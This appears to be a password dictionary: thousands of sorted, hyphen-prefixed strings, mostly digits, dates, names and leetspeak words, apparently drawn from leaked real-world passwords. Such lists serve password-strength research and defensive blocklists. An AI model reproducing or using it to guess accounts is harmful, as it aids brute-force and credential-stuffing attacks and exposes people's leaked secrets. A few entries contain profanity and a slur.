-0ng0hssl8 -0nhere -0ni7wjut -0nillow1 -0nine2four -0niner -0nix2228 -0nizuka -0nkG7vz636 -0nkefur7vn -0nl1ne -0nl1ne1 -0nline -0nly4ish -0nly4monte -0nly4us -0nnyXu0k -0nobody99 -0nofriends0 -0np7Son734 -0nqnF42D -0nsert12 -0nt0p1ca -0nt2S9u782 -0ntMDYbZ -0ntari0 -0o*ppy -0o012840o0 -0o0WZdt352 -0o0vr7 -0o5MPL -0o5cV4u678 -0o5whcs59 -0o7v5S1z -0o9i8u -0o9i8u7y -0o9i8u7z -0oFYqOWQ -0oJOj1yk -0oZlXV6962 -0obehave -0oblivion0 -0ocook1 -0odytu -0ofHPz5122 -0oficus -0ogorodnaea -0ojCSTNF -0okm(IJN -0okm99ijn -0okm9ijn -0okmdk9ijn -0oln5ekh2wx6zc -0one0two -0op91qazcde3 -0op9cagi -0opo00oppopo00op -0oq9lAov -0orion1 -0outlaw -0ows1gns -0oxjtu8692 -0oyObNPX -0p -0p0p0p -0p1at3 -0p1n_tea -0p3OhkK356 -0p3f91ya -0p3n3nd3d -0p3nXpass -0p3nb22r -0p3ns3s@m1 -0p3nup -0p4qu3 -0p4wqetw -0p5gur5p -0p5m2n5c6v -0p7NmU4694 -0p93ow07t3 -0p9o8i -0p9o8i7u -0p9o8i7u! -0pIxrL -0pLT1pS891 -0pM40eV5 -0pOsp9ti -0pQAlM77 -0pa0pa -0panpiglfi -0part -0pastaman -0paycheck18 -0pbh7zg2eg -0pcBTi9311 -0pcxryqsvn -0pen206 -0penPHP1 -0penSesam3 -0penWide -0penh0use -0peninclud -0penview -0perat10ns -0pgedq -0ph11kjnx -0photon0 -0phpbb -0phpbb82 -0phpbbmya55 -0pils -0plm8ugf -0poipoi -0poiuytrewq1 -0ppwjc37 -0prime -0prnpwt282 -0problem0 -0problemo -0px8MT -0q0KgmGN -0q2wTrY884 -0q2wrd4 -0q3GbhcJ -0q6qXr -0q8mYD -0q95fnJE -0q9by1zj -0qAEhQ8a -0qAyB7w887 -0qFVSvSp -0qKecO9286 -0qMm}R%D -0qPjUK2n -0qQBU6mA -0qX6nnZ42 -0qchvgeqa0 -0qfIgf8U1 -0qkXnU9884 -0qq6yp -0qxxc123 -0qzKm56r -0r0ck0k00 -0r10n5 -0r13ntalrugs -0r1d1$ -0r1gWnSt -0r1onss -0r2mbk3h0 -0r371U0qw -0r4ng33 -0r4rxXk691 -0r5tEXH494 -0r9ZJ8RU -0r9f6vg15 -0r@ng3m3n -0rCsg -0rCxuvOB -0rFtXVO741 -0rJRzs -0rKm99ew32 -0rO877H949 -0rac1e -0rac79# -0rachel -0racl3 -0racl38 -0racl38i -0racl39 -0racl39i -0racle -0racle8 -0racle8i -0racle9 -0racle9i -0range -0ranges -0rangetr0ll -0rangutan -0rbitalkara -0rbmx0 -0rc0rc -0rcr1st -0rd3na7a5 -0red3bull15 -0reg0n -0regon -0relie -0rf0lswnasptqg -0rgwas -0ri0n666 -0ri0nsb3lt -0ricas -0rigin -0rioles -0rka -0rland0 -0rm0nd -0rmej7172 -0roger59 -0rogerplus1 -0rpZp -0rs2AaXP -0rujDN -0s0p0e0d -0s8l7m9 -0s945f1p4 -0s98u45x -0sMfis5M -0sNF8O63 -0sOWUe -0sOgUTjJ -0sPU1L7E -0sQgdW -0sW2Rs -0scand -0scar -0scarmont -0scy5b12 -0sdewrz15 -0sdikje0 -0sexe -0sgatjum -0sha0dow1 -0shadow0 -0silent -0silly -0siris -0siris7x -0slatiba -0slurp -0smambig3 -0sport -0srNQdYk -0static -0steak0 -0stern8chten -0strus14 -0sunjata -0svaldo -0sveglia1 -0sw3lz -0t4m512jhq -0t6MDY2B -0t6TjuT874 -0t9b2cwp1 -0tKVfE4311 -0tU5tQk224 -0tUF8pt715 -0tVzm3Z752 -0taR9FW265 -0takingu -0tc9vxbtz -0test05 -0th3r0n3 -0the110w -0the1yo2man3 -0tiklm92 -0tisn0bie -0tmkbg6c7 -0tn6ts3n3 -0tobruk0 -0trecord@1 -0tt0br3 -0u7s0urc3 -0u812dfb -0u8812 -0u9k96mx -0uCI69a167 -0uDp5MxH -0uEZJ2 -0uKVsfzt -0uOURkXh -0uPKJoSL -0uPNsi3181 -0uRH850875 -0uXnzh -0uZdkwgh -0ucfl2 -0udprjoa8 -0ui8Hxy312 -0uienkore1 -0ukiPJd582 -0um1WKI556 -0unrealaldi0 -0uprXX -0uq2xd -0ur8PiX446 -0us25t2m9 -0utsiders -0uye46 -0v0oFCZ863 -0v1b3fwf -0v250mpmes3emj -0v3rl04d -0v3zFc2445 -0vCZK8 -0vFnV5B228 -0vKy3JVq -0vO5Vwl522 -0vYeP -0va720 -0vdr-portal1 -0velD3 -0venwanten -0ver1and -0verdrive -0verl0rd -0verlord -0verride -0vfr8jyy -0vgjnyr6c -0vguqz -0vgvg0 -0vjGEQ9559 -0vmware -0voOqqcF -0vpcoxtfodcq6s -0vr8ed -0vrAAYJ2 -0vtlsxk0 -0vvJ31PK -0vwXh3ls5 -0vwz4fux -0w!d!a!p -0w0o0p1988 -0w3n1s2 -0w9hdD -0wJB0mWm -0wMiepOk -0wN3D! -0wQLU -0wSetZ -0wYPPh -0wb0wju -0webadmin1 -0wee305r -0wiley -0win14me -0wm9j2rg6 -0wn3d -0wn3d21 -0wn3d< -0wn4g3 -0wnage -0wnedby0 -0wnnXHa8 -0wondergirl -0wqkMq -0wrMf4 -0wt0UJR524 -0wti0Je728 -0wv0ALc5 -0x0069 -0x0fhloj -0x0phpbb -0x0x0x -0x35ya!1 -0x3w74 -0x70Y -0x735nq4 -0x73736170 -0x99nbi543 -0xLAwUPMB -0xMhmz -0xNikon801 -0xb1Wd1176 -0xferrorf -0xffea -0xiao0 -0xikguhkx -0xinnnak0 -0xnqwO1w -0xstntl -0xu7ghJn -0xutdx -0xvGHMI4 -0xvpXb1466 -0xwaL1 -0xxmueg0 -0xyque -0y0gg0qwg -0y1h5b23! -0y2zs8 -0y3v4g3k44 -0y4gMb6W -0y7g12 -0y7qcB6o -0yId3qaQ -0yQB6EiB -0ySvQe -0yUfJS1484 -0yZF1U -0yf5yb1hv0 -0yiR9UD583 -0ymUzE -0yonoyon -0yousuck -0yst3r612 -0yucmz -0yx7%qc -0yySw6dj6 -0z -0z0gg -0z0ne1 -0z107 -0z5h0o3u -0z6fil1hj -0z6r4LD462 -0z7jfib169 -0z9tbp -0zAh7iOc -0zBToMsE -0zDR15T517 -0zHWk8Rx -0zJ8qKN637 -0zLAOoH0 -0zNmDk -0zUhSODr -0zWald -0za1x8ty -0zd41fg -0zdCzuBh -0zero$ -0zero0 -0zfzey -0zg8As -0zk4q3 -0zsKrUq467 -0ztr0ff -0zy5j1kL -0zz13m8n -0zziebuild -0|1p||> -0} -0}XRrEU% -1 -1 1 -1 2 3 4 5 -1 43hate -1! -1!! -1!2@3#4$ -1!Agenda1! -1!Fuckyabitch -1!clientx -1!madison -1!rastis -1# -1#! -1#+CHAF -1#00 -1#YWIV= -1#oppeb -1$YDNEY -1$hollywood -1%2CO -1&2 -1&32und70 -1&TI*AC -1)# -1)7}[)1 -1)dani)4 -1*2#3x -1*2*3*4* -1*2*3*4*5* -1*luna -1*tater -1+ -1+1=2?no -1+1=shan -1+2+3+ -1+333333 -1+9-8*1/ -1,2,3,4,5 -1,84061E+12 -1,eleas -1-10-daw -1-100773-62 -1-2-3-4-5 -1-27-06ke -1-2calahoo -1-44-1 -1-79-07 -1-Joeriml -1-Mierda -1-Raffele -1-coco4712 -1-love -1-platypus -1. -1.. -1.01023E+11 -1.0152E+11 -1.08799E+15 -1.11111E+12 -1.2.3.4. -1.2.4.start -1.20883E+11 -1.23457E+14 -1.4.95 -1.44563E+14 -1.44563E+15 -1.47258E+12 -1.4hood -1.576E+12 -1.5E+11 -1.6.70 -1.6.85 -1.6180339887498 -1.8idi_na -1.9-dig, -1.9.2poule -1.9762E+11 -1.9778E+11 -1.Alaimo -1.Aprill -1.BOUCL -1.EXE.1 -1.FCS -1.H8.b0b -1.Stuttgarter -1.VINTE -1.VIOLI -1.asperaper -1.bogus -1.bundesliga -1.dandee -1.entely4 -1.jaakari -1.kamasutra -1.karol.1 -1.urldCHU -1/1/abc/1 -1/14/93 -1/2game -1/7wasgg -1/9/93Bub -1/aa -10 -10+78945612 -10-08-1990 -10-10-80jens -10-200 -10-32-38 -10-kozzz -10-leer8496 -10.0.0.7 -10.03.08 -10.03.2008 -10.04.91 -10.08.2008 -10.1010 -10.1984561 -10.80 -10/08/04/ -10/10/92 -10/11/73 -10/12/94 -10/22/2007 -10/25/2007 -100 -100 12 04 -100%FAUL -100%Fam -100%Hentai -100%Loveyou -100%P0wer -100%SPFW -100%angel -100%bitch -100%boty -100%capoeira -100%cookei -100%ei -100%faul -100%file -100%free -100%hockey -100%jimi -100%juice -100%kvikkvok -100%mex -100%nasilie -100%pewima -100%sexy -100%shit -100%smrt -100+100 -100+100} -100+200less -100-Cbr -100.1xxl -100.moon -1000 -10000 -100000 -1000000 -10000000 -100000008400269 -10000001 -1000000223470 -1000001 -10000098 -100001 -1000011 -1000015grubson -100001aa -100006 -1000076308a -10000shiruyi -10001 -10001000 -100010050 -1000101 -1000107801408 -100012 -10001401 -1000185869 -10001malimrav -100023 -10002652 -1000330621 -10004027 -1000436 -100051460o -1000553 -10005960 -1000603 -10006061 -10008000 -100096 -1000DM -1000EditionS -1000Tales -1000bier -1000brussel -1000cc -1000d -1000dm -1000elmer -1000ene -1000ensatsu -1000home -1000jpc -1000kubikare -1000malgewonn -1000miglia -1000mlgreengas -1000mp -1000nery -1000oiri -1000pass -1000pw -1000radiale -1000son123 -1000thousand1 -1000vin3s -1000virago -1001 -10010 -100100 -10010011 -100101 -10010123 -100102 -100103 -100104 -100105 -100106 -100107 -10010t -10011001 -1001101 -10011010010 -100110pawlo -1001110 -10011100 -1001127648 -100115 -10011771 -10011965 -10011970 -10011972 -10011978 -10011981 -10011982 -10011983 -10011986 -10011987 -10011988 -10011989 -10011990 -10011992 -100120.htc -10012001 -10012002 -10012004 -10012007 -1001235 -100123qqw -10012515 -1001302688939 -10013153 -10013428 -100136ivan -1001373281 -10013865 -10013pc -10014lee -10014sv1837 -100156 -10015631 -100157 -10015888 -1001613jose -10016177 -100163 -100164 -100165 -100168 -100170 -100172 -100176 -100178 -10017878 -100178minux -100179 -100180 -100181 -100182 -100182822 -100182a -100183 -100184 -100184b40214 -100185 -100186 -100187 -100188 -100189 -100190 -100191 -100192 -100193 -100194 -100195 -100196 -100197bkjyf -10019810 -1001adkl -1001d -1001sps -1001teaka -1001valley -1002 -100200 -10020030 -100200300 -100202 -100203 -100203609 -100204 -100205 -100206 -100207 -100208 -10021002 -100213 -10021403 -10021489 -1002167 -10021970 -10021974 -10021975 -10021976 -10021977 -10021980 -10021982 -10021983 -10021984 -10021987 -10021990 -100219901 -10021991 -10021993 -100220 -10022002 -10022211 -1002238 -10022456 -10023230 -100238 -1002434 -100244 -100250 -100252 -100252840831 -100253 -10025326 -1002552 -1002552484 -100257 -100258 -100260 -100262 -100263 -100268 -100268h61249 -100269 -100272 -10027224 -10027668 -100278 -100279 -100279we -100280 -100281 -100282 -100282fe -100283 -100284 -100285 -100285ag -100286 -100287 -100288 -100288vavann -100289 -100290 -100291 -100292 -100293 -100294 -100295 -100296 -10029688 -100298 -100299 -1002gh -1002tramacci -1003 -1003**1988** -1003000 -100301 -10030120 -100302 -100303 -100304 -1003042009 -100305 -100306 -100307 -100310 -10031003 -10031956 -10031962 -10031962e -10031970 -10031975 -10031977DVR -10031979 -10031979dicker -10031982 -10031983 -10031985 -10031986 -10031989 -10031990 -10031999minou99 -10032020jose -100321 -100326 -100336 -100359 -10036024 -1003628 -100363 -100366 -100368 -10037031590308 -100371 -100372 -100373 -100373665 -100375 -100376 -100377 -100378 -100379 -100380 -100381 -100382 -100383 -100384 -100385 -100386 -100387 -100388 -100389 -100390 -100390moil -100391 -100392 -100393 -100394 -100395 -10039631 -100398 -1003azerty -1003life -1003sheldon -1004 -100401 -100402 -100403 -100404 -100405 -100406 -100406nils -100407 -100408 -10041004 -10041941 -10041961legty -10041979 -10041981 -10041986 -10041989 -10041992 -10041993 -10041994 -10041997 -10042004 -10042005 -100422KCe -10042528 -100428 -1004330t -100436 -1004360 -1004416o -100444emily -1004494 -100454 -100455 -1004556289123 -100462 -100465fc51 -100467 -100468 -10047 -100470 -100470weter -100473 -100475 -100477 -100477ivan -100478 -100479 -10047Hunad -100480 -100482 -100483 -100484 -100485 -100486 -100487 -100488 -100489 -1004893hw -100490 -100491 -100492 -100493 -100494 -100495 -100495b -100496 -100497 -100497434s -100498 -1004crc -1004goody -1004mh -1004su01 -1004ujhjldn -1005 -100500 -100501 -100502 -100503 -100504 -100505 -10050514 -100506 -100507 -100508 -1005088 -10051 -100510 -10051005 -1005105 -10051084 -100511 -1005186107 -10051968 -10051973 -10051979 -10051980 -10051983 -10051989 -10051989cs15 -10051990 -10051991 -10051993 -10052002 -10052004f -10052006 -100529 -100544 -100548michot -100549 -100550,1225 -100552 -100556 -100557 -100557v41112 -10056 -100561 -100563 -10056546 -100566 -100567 -100568 -100569 -100573 -100575 -100575ustjug -100579 -100580 -100581 -10058100 -100581k30510 -100582 -100583 -100584 -100585 -100586 -100587 -100588 -10058818c -100589 -100590 -100591 -100592 -100593 -100594 -100595 -100596 -100597 -1005:05 -1005corinthi -1005nigga -1006 -10060 -100601 -100603 -100604 -100605 -100606 -100607 -10061314 -100614 -1006159 -10061971 -10061978 -10061981 -10061982 -10061982iehjxrf -10061987 -10061989 -10061990 -10061991007j -10062001 -100623 -10062441 -100630 -100631 -100642103 -10065013 -100652 -100655 -100656 -10065670 -100658 -100659ET -100663 -100666 -100670 -100671 -100672 -100674 -100675 -100676 -100677 -100677murat -100678 -100679 -100680 -100681 -100682 -100683 -100684 -100685 -100686 -100687 -100688 -100689 -100689b -100690 -100691 -100691be -100692 -100693 -100693200803 -100694 -100695 -100696 -100699 -1006britta1967 -1006lausan -1006matrix -1006th -1006xx -1007 -100700 -100702 -100704 -100705 -100706 -100707 -10071007 -1007101 -10071920 -10071925 -10071968 -10071970 -10071973 -10071976 -10071978SSS -10071981 -10071982 -10071983 -10071983majk -10071985 -10071987 -10071989 -10071990 -10071991 -10071993 -10071994 -1007234253 -100728 -10075119 -100752427 -100753 -100757 -100760 -100761 -100762 -10076438 -1007666 -100767 -100768 -100768cinzia -100776 -10077628 -100777 -100778 -10077847 -100779 -100780 -100781 -100782 -100782kolyan -100783 -100784 -100785 -100786 -100786vbif -100787 -100788 -10078825 -100789 -10078910 -100790 -100791 -10079111 -100791gu12gu -100792 -100793 -100793werwer -100794 -100796 -10079823 -100799 -1007SW -1008 -10080 -10080012 -100800975 -100802 -100803 -100804 -100805 -10080510 -100806 -100807 -100807jaba -100807japa -100809 -100811 -10081205aa -10081205bbbbb -10081524 -10081863 -10081960 -10081971v1 -10081977 -10081978 -10081980 -10081981 -10081982 -10081985 -10081986 -10081990 -10081992 -10082005 -10082005gay -10083852 -100842 -100844 -1008507a -100861 -100862 -10086520 -100870 -10087100a -100876 -100877 -100878 -100879 -100880 -100880102 -100881 -100882 -100883 -100884 -100885 -1008856963 -100886 -10088618 -100886john -100887 -100888 -100889 -100890 -100891 -100892 -100893 -100894 -100895 -100897 -100898 -1008984 -1008Shiva -1009 -100903 -100904 -100905 -100906 -100907 -10091009 -100911ne -100917457 -10091964 -1009197 -10091975 -10091979 -10091980 -10091984 -10091985 -10091985sp -10091986 -10091987 -10091990 -10091993v -10091994 -10092001 -10094 -10094061 -10094117 -10095224 -100953 -100955 -100958 -10096767 -1009678239 -100971 -100973 -1009753951 -100976 -100977 -100979 -100980 -100981 -100982 -100982kh -100983 -100984 -100985 -100986 -100987 -100988 -100988fl -100989 -100990 -100990az -100991 -100992 -100993 -100994 -100995 -100996 -100999 -100999897 -100A89 -100Angel -100Ape -100_rotpar -100acjm -100asa -100centavos -100d -100dogs -100dra -100drillon -100ducks100 -100eleVen -100forum -100grand -100h2o -100hentai -100inwood -100jeux2 -100kNext -100ka -100krota -100lat -100llavgas -100lover -100lucky -100malbesser -100mhekk -100n47ic -100noga -100notrufe -100percent -100picas -100points -100ppsvt4 -100pre -100preamigos -100preteamare -100procentmij -100proweich -100pt1mach -100punten -100qwe -100saco -100senha -100soldos -100srw1srs -100sto -100stoned -100summerstreet -100thecus -100ton -100urface. -100w94st -100watt -100wolves -100x100mr -101 -1010 -101000 -10100098 -101001 -10100101 -101001100101 -1010011936 -101002 -101003 -101003902 -101004 -101005 -101006 -10100681 -101007 -101007jkB -101008 -10100903 -10101 -101010 -10101010 -1010101010 -101010152046 -101010b -101010fa -101011 -1010110 -1010112 -101011es43 -101012 -10101212 -101013 -10101617jddr -101018 -101018513 -1010189825 -101019 -10101966 -10101969 -10101974 -10101975 -10101977 -10101979 -10101982 -10101983 -10101984 -10101984jsa -10101985 -10101986 -10101987 -10101988 -10101989 -10101990 -10101991 -10101992 -10101993 -10101998 -10102 -101020 -10102002 -10102004 -10102006 -101020101020 -10102020 -101020bb -10102118 -1010220 -10102310 -101025 -10102529 -1010297 -10102try -101030 -101030346 -1010401990 -101047101047 -101050 -101051 -101054mg -101057 -101062 -101064 -101067 -101068 -101069 -101070 -101071 -101072 -101074 -1010740979 -101075 -101075V -101076 -101077 -101078 -101079 -101079w7162 -101080 -101080k31632 -101081 -10108136 -101082 -101082Slava -101083 -101084 -101085 -10108528 -101085dj -101086 -101087 -101088 -101089 -101090 -101090cr -101090s -101091 -101092 -101093 -101094 -101095 -101096 -101097 -1010979330218 -101098 -101099 -10109999 -10109dab -1010alcc -1010cs -1010fred -1010illalabm -1010jole -1010lol -1010nj -1010se -1010st -1010tbt -1010wins -1010ww -1010yan8917 -1011 -101100 -1011001 -101100111000 -101101 -10110100 -101101202202 -10110191 -101102 -101102103 -101103 -101104 -101105 -101106 -101107 -10111 -10111011 -10111031 -1011111 -101112 -10111213 -1011142 -10111963aaa -10111971 -10111979 -10111980 -10111987 -10111988 -10111989 -10111990 -10111992 -10111997 -10111999 -10111police -10112001 -101123ed -101131 -101135 -10115 -101150 -10115014 -101153 -101156 -101159 -10115freesee -101160 -101161 -101164 -1011649422 -10116570 -101168 -10117 -101170 -101172 -101176 -101177 -101178 -101179 -101180 -1011800694 -1011803 -101180l40819 -101181 -101182 -1011824 -101183 -101183grg -101183v3g3t4 -101184 -101185 -101186 -10118617 -101187 -10118712 -101188 -101188 keiner -101189 -10118961089 -10119 -101190 -101190moumou -101191 -101192 -101193 -1011931 -101194 -101195 -101196 -101197 -1011973 -1011983 -1011986 -101199 -1011996 -10119jan -1011Piock -1011ad -1011adrian -1011braffe -1011ipops -1011rocks! -1011seo1997 -1011yp0p -1012 -10120 -1012005 -101201 -101202 -101203 -101204 -101204m -101205 -101206 -101207 -101208LAYLA -101210 -10121012 -101210elijahx -1012114 -101213 -101213klm -101214 -10121524 -10121700josh -10121965 -10121965ranas -10121967 -10121973 -10121974 -10121975 -10121977 -10121978 -10121980 -10121981 -10121982 -10121984 -10121984d -10121984vrfvc -10121985 -10121986 -10121987 -10121988 -10121989 -10121990 -10121991 -10121992 -10121992kendely -10121993 -10122010 -1012210122 -101229 -101231 -10123569qwe -1012361791 -10123LIONKING -101242 -101247 -101250 -101251 -10125245 -101254 -101257193 -1012582 -101262 -10126300 -101265 -101266 -101269 -101269rl -101270 -101270psg -101273 -101274 -1012748 -101277 -101278 -101279 -101280 -101281 -101282 -101283 -101284 -101285 -1012854252 -1012857 -101286 -101287 -101288 -10128843 -10128887 -101288wg -101289 -101290 -101291 -101292 -101293 -101294 -101295 -101296 -101297 -101298 -101299 -1012amizade -1012gaby34 -1012quin -1012race -1012raineugv -1012urban1985 -1013 -101300 -101301 -101304 -101304197 -101304_ap1 -101305 -101306 -101307 -10131013 -101311ee -10131416 -101317 -101318 -101319 -10131903 -10131975 -10132027 -101321 -101328 -10133033takeshy -10133301 -101338 -101342 -101346 -10134773 -101349 -101361 -101379 -10138 -101380 -101381 -101382 -101383 -101384 -101385 -101386 -101387 -101388 -101389 -101390 -101391 -101392 -101393 -101394 -101395 -101397 -101398 -101399 -1013tessa -1014 -101400 -101402 -10140290 -101402b -101403 -101404 -101405 -101406 -101407 -10141014 -1014116 -101413 -10141784 -10141946 -10141989 -101422 -101424a8e4 -101425 -101436 -10144010 -101442 -10145177 -101464 -101466 -101477 -101478 -101481 -101482 -101483 -101484 -101485 -101486 -101487 -10148799 -101488 -101489 -101490 -101490833 -101491 -101491J -101491Nottap -101492 -101493 -101494 -101495 -101499 -1014Aa -1014fancinki -1014maxx -1014ts -1015 -101502 -101503 -101504 -101505 -101506 -10151015 -101512163 -101513 -10151318 -101514 -101516 -10151660 -1015166931 -101517aalmei -1015195 -10151985jhr -10151987 -10151994 -101520 -10152021 -10152025 -101520sl -1015389 -101540160957 -1015423 -1015476 -10155112 -101553 -101553ny -101556p -10156 -101562 -1015621 -101563 -1015665492 -101572 -101573 -10157point -101580 -101581 -101582 -101583 -101584 -101585 -101586 -101587 -101587jj -101588 -101589 -10159 -101590 -101591 -101592 -101593 -101594 -101595 -101599 -1015SG -1015gogogo -1016 -10160000 -101601989 -101602 -101603 -101604 -101604ns -101605 -101606 -10160nv30 -10161002 -10161210 -101613 -1016139 -101615 -10161566 -10161610 -101619 -10161984 -10161988 -101621 -1016221 -101626 -10162928 -101630 -1016316rb -10163191 -101632 -101637 -10164 -101648 -10164863 -10165 -101651 -1016520864 -101664 -101675 -101676 -101677 -101677sh -101678 -101680 -101681 -101682 -101684 -101685 -101686 -101687 -101688 -101689 -10169 -101690 -101690rly -101691 -101692 -101693 -101695 -101699 -1016papi1016 -1017 -101700 -101701 -101703 -101705 -101706 -101707 -101710 -101712 -10171977 -10171995 -101724 -101727 -101728 -10172967 -1017309 -1017395 -101750 -10176033 -101765242 -1017677 -101771 -101774 -10178 -101780 -10178000 -101781 -101782 -101783 -101784 -101785 -101786 -101787 -101788 -101789 -101790 -101790dm -101791 -101792 -101793 -101794 -101795 -101798 -101799 -1017nem -1017swag -1017ty -1018 -101800 -101801 -101802 -101803 -101804 -101805 -101806 -101807 -101808 -101809 -101810 -10181018 -10181201 -101814 -101818 -10181969 -10181976 -10181982 -10181999 -10182304 -1018288485 -10183 -1018338 -1018475130849 -101853djc -101866 -101867 -101873 -101874 -101879 -10188 -101880 -101881 -101882 -101883 -101884 -101886 -101887 -101887js -101888 -1018888 -101889 -101890 -101891 -1018916 -101892 -101892C -101893 -101894 -101895 -101897 -1019 -101900 -101902 -101905 -101906 -101907 -101914 -10191954 -10191970 -1019202 -101923 -10192631grek -10192631grem -10192631gven -1019336 -101946 -101953 -101955712354 -101958 -101959 -101959aml -10196 -1019600 -101970 -101971 -101974 -101975 -101976 -101976me -101977 -101978 -101978aleks -101978s -101979 -101980 -101981 -101982 -101983 -101984 -101985 -101986 -1019860909 -101987 -101988 -101989 -101989july -101990 -10199086 -101991 -101991sm -101992 -101993 -101993-JessicA -101993feli -101994 -101995 -101996 -101997 -1019East -1019miller -1019planz45 -1019silke66 -101RVOS571 -101bdb -101dal -101dk519hl -101dk519r -101gla -101hallo -101hotspurs -101isabell -101isabelle -101lita -101malimrav -101mars -101mike101 -101mmp6t -101monkey -101open -101pinoy -101proof -101pusyaaa -101redhot -101roses -101s500f37 -101takeit -101things -101ttman -101wdf328 -101windtalker -102 -102.12mph -1020 -1020-mejores -10200 -102000 -102000cn -102001 -102001050 -102003 -102004 -102005 -102006 -102007 -102008 -102009912 -102010 -10201020 -10201109 -1020115 -102013 -1020186105 -102019 -10201975j -10201987 -10202001 -10202085 -1020209k -10202807 -1020299 -10203 -102030 -10203000 -10203010 -102030112233 -102030123 -102030224 -10203030 -10203030m -1020304 -10203040 -1020304050 -102030405060 -10203040c -10203050 -1020305060 -10203090vd -102030F -102030ale -102030mikehcalu -102030mm -102030vph -102030x -102031 -1020389612 -102040 -1020407080 -10204110 -102048 -10205010 -102050440 -102058 -1020595171 -10206 -102065jnm -102066 -102072 -1020757 -102076 -102079 -102080 -102081 -102082 -102083 -102084 -102085 -102086 -102087 -102088 -102089 -102090 -102091 -102092 -102093 -102094 -102095 -102096 -1020a -1020bxl -1020kiryski -1020kyle -1020sport -1021 -1021#! -1021.. -10210 -102100 -102101 -102102 -102103 -102103102 -102104 -102105 -102106 -102107 -1021078025 -10211021 -10211945 -1021201 -10212012 -102123 -102130 -1021301 -102136 -1021368 -102137 -102155 -102156 -1021571 -102160 -102169 -102170 -102173 -102174 -102180 -102181 -1021810218 -102182 -102183 -10218362 -102184 -102185 -102186 -102187 -102188 -102189 -102190 -102191 -102192 -102193 -102195jd -1021966 -10219701 -1021983 -1021985 -102199 -1021991 -1021996 -1022 -102200 -102201 -102202 -10220214 -102203 -102204 -102204m -102205 -102206 -102207 -102210201023 -10221022 -10221033 -1022114 -102215 -102223 -10224114 -102266 -102272 -102273 -102278 -102279 -10227a123456789 -102280 -102281 -102282 -102283 -102284 -1022840116 -102285 -1022858788 -102286 -1022867j -102287 -102288 -102289 -102290 -102291 -102292 -102293 -102294 -10229c1e -1022aaf -1022carbine -1022emel -1022jp -1022rv -1022wood -1023 -102300 -102303 -102304 -102304745 -102305 -102306 -102307 -10230804 -102308110680 -10231023 -10231164ns -1023126747 -102317eris -10231974 -102319egs -102321db -102332jhm -102333 -1023412 -102344 -102345678 -1023456789hk -102348349 -102351 -102355102547 -102357 -102358897412 -10236 -102360 -102361 -102365lo -102369 -1023695847 -102370 -102371j -102372 -102373 -102378 -10238 -102380 -102381 -102382 -102383 -102384 -102385 -1023856 -102386 -102387 -102388 -102389 -102390 -102391 -102392 -102393 -102394 -102395 -102396 -102399 -1023ae -1023pin -1023tam -1024 -1024*1024 -102400 -102401 -10240128ana -102402 -102403 -102404 -102405 -102406 -102407 -102410 -10241024 -102410243 -10241975 -10242048 -102424 -102425 -102426 -10243m -1024428618 -102444 -1024456ad -102449 -102456 -102460 -102461 -102462 -10246364 -102464 -102465 -102466 -102467 -10246789 -102468 -102469 -102470KB -102473 -102473ss -102477 -102479 -102480 -102481 -102481018 -102482 -102483 -102484 -102485 -102486 -102487 -102488 -102489 -10248942 -102489978 -102490 -102491 -102492 -102493 -102495 -102496 -102498 -1024casa -1024cd -1024gbMMM -1024git -1024hn -1024jr -1024ni -1024tan -1024typea -1025 -102500 -102501 -10250149 -102501Boo -102502 -102503 -102503045b4 -102505 -102506 -102507 -10251025 -10251577 -10251963 -10251984dc -10251994 -10252 -10252018 -102524 -102525 -102526 -10252758 -1025280bao1980 -102529 -1025310253 -10254 -1025490 -10255 -1025525 -102554 -102570 -102571797 -10257325 -1025736 -1025760010and -102577 -102578 -10257815 -102579 -102580 -102581 -1025810258 -102582 -102583 -102584 -102585 -1025856930 -102586 -102587 -102588 -102589 -102589k -102590 -102591 -102592 -102593 -102594 -102595 -102596 -1025MG -1025luadinverno -1025mv -1025password -1025sash -1026 -102600 -102601 -102602 -102602a -102604 -102605 -102606 -1026061d -1026061db -102615 -10261987 -102626 -10262758 -102639 -102648 -102658 -102661 -102669 -102670ab -102672will -10267533 -102679 -102680 -102681 -102682 -102683 -102684 -102684pot -102685 -102686 -102687 -102688 -102689 -102690 -102691 -102692 -102693 -102694 -102696 -102697 -1026bam -1026dvw -1026faby -1026up -1027 -102700 -102701 -1027011517 -102703 -102704 -102705 -102706 -102707 -1027090QW -10271985 -10271995 -102724 -1027259282 -102745 -102749 -102751 -102763 -102769 -1027747 -102775 -102778 -102780 -102781 -102783 -102784 -102785 -102786 -102787 -102788 -102789 -10278913 -10278913fry -10278914 -102790 -102791 -102792 -102793 -102794 -102795 -102799 -1027a38KX -1027jjkl -1027mm -1027sn1456 -1028 -102800 -102801 -102802 -102803 -102804 -102805 -102806 -102807 -102808 -102809 -102815ocara -10281602 -10281978 -10281979 -10281989 -10281990 -10282 -102830 -102834 -1028622632 -102863 -102868 -102869 -102870 -102875 -102878 -102879 -102880 -102881 -102882 -102882sp -102883 -102884 -102885 -102886 -102887 -102888 -102889 -102890 -102890v -102891 -102892 -102893 -102893bitch -102894 -102898384 -102899c -1028DE1304 -1028john -1029 -102900 -102901 -102902 -102904 -102905 -102906 -10291029 -102911 -102912 -102914 -10291942 -10291963 -10293 -102938 -10293847 -1029384756 -1029384756aa -1029384756abcdf -1029384756dj -1029384756ujl -102938az -102938gh88 -102938mv -102938za -102946 -10295 -102956 -102959 -102960 -10296040 -1029757 -102980 -102981 -102982 -102983 -102984 -102985 -102986 -102987 -102988 -102989 -102990 -102991 -10299193 -102992 -102992m -102993 -102994 -102998 -102999 -1029aa -1029qpwo -1029sam -102avec -102dente -102flopp -102gj808BB -102jewellane -102k4opel -102kiskutya -102mater -1030 -103000098 -103004 -103005 -103006 -103012 -10301965 -103019710 -103020 -1030237 -103030 -10304 -10304020 -103049 -103050 -103056 -103058 -103059 -103069 -103070 -10307090 -103076187 -103077 -103078kon8 -103079 -103080 -103081 -103082 -103084 -103085 -103086 -103087 -103088 -103089 -103090 -103090pi -103091 -103092 -103093 -10309300 -103094 -103097 -1030anniv -1030sina.com -1031 -103100 -103101 -103102 -103103 -103104 -103105 -103113 -10311983 -10311990ak -10312004 -10312006 -103125 -10312marcin -103131 -10313101 -103132645 -103143 -103152 -103153 -103156 -1031561 -103157 -1031597c -103161 -103163pa -103169 -10317290 -103174 -103174alex -103175 -103179 -1031797894 -10317shanty -1031802 -103181 -103182 -103183 -103184 -103185 -103186 -1031865 -103187 -1031875 -103188 -103189 -103190 -103191 -103192 -103193 -103194 -103196 -103197 -103198 -1031985 -1031987 -103199 -1031993 -1031cc -1031jayda -1031jocosa -1031kids -1032005Phio -1032033 -10321 